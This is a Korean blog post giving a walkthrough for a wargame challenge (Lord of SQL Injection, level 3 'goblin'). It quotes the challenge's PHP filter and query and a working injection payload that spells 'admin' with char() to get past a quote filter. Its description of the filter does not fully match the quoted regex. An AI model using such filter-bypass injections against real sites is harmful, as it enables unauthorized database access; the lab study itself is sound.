los 문제

LOS 3번 문제 풀이

webhacking지구 2021. 9. 8. 06:33

LOS 3번문제

LOS 3번문제

코드해석

if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");

필터링을 보면, prob, _, ., (), ', ", `를 필터링 한다. 즉, 쿼리를 정상적으로 작성할 수 없다. 

$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";

보시면 id는 guest로 고정되있고 no값을 받아오는거로 되있습니다.

if($result['id'] == 'admin') solve("goblin");

그리고 id를 admin으로 만들어주어야합니다

 

문제 해결 :  id라는 변수의 값을 admin으로 설정하고 싶으면, id='admin' 이런식으로 작성해야 하지만, '가 필터링되므로 변수값을 설정할 수 없다 그래서 char이라는 함수를써서 답은 ?no=2 or id=char(97,100,109,105,110) 이다.

char(97,100,109,105,110)이부분은 아스키코드로 어드민을 만든것이다 그리고 no값은 1~10까지넣어주며 찾았다.

이렇게되면 id는 어드민이 되는것을 확인할수있을것입니다.

답 :?no=2 or id=char(97,100,109,105,110)

'los 문제' 카테고리의 다른 글

LOS 6번 문제 풀이  (0) 2021.09.13
LOS 5번 문제 풀이  (0) 2021.09.10
LOS 4번 문제 풀이  (0) 2021.09.08
LOS 2번 문제 풀이  (0) 2021.09.07
LOS 1번 문제 풀이  (0) 2021.09.07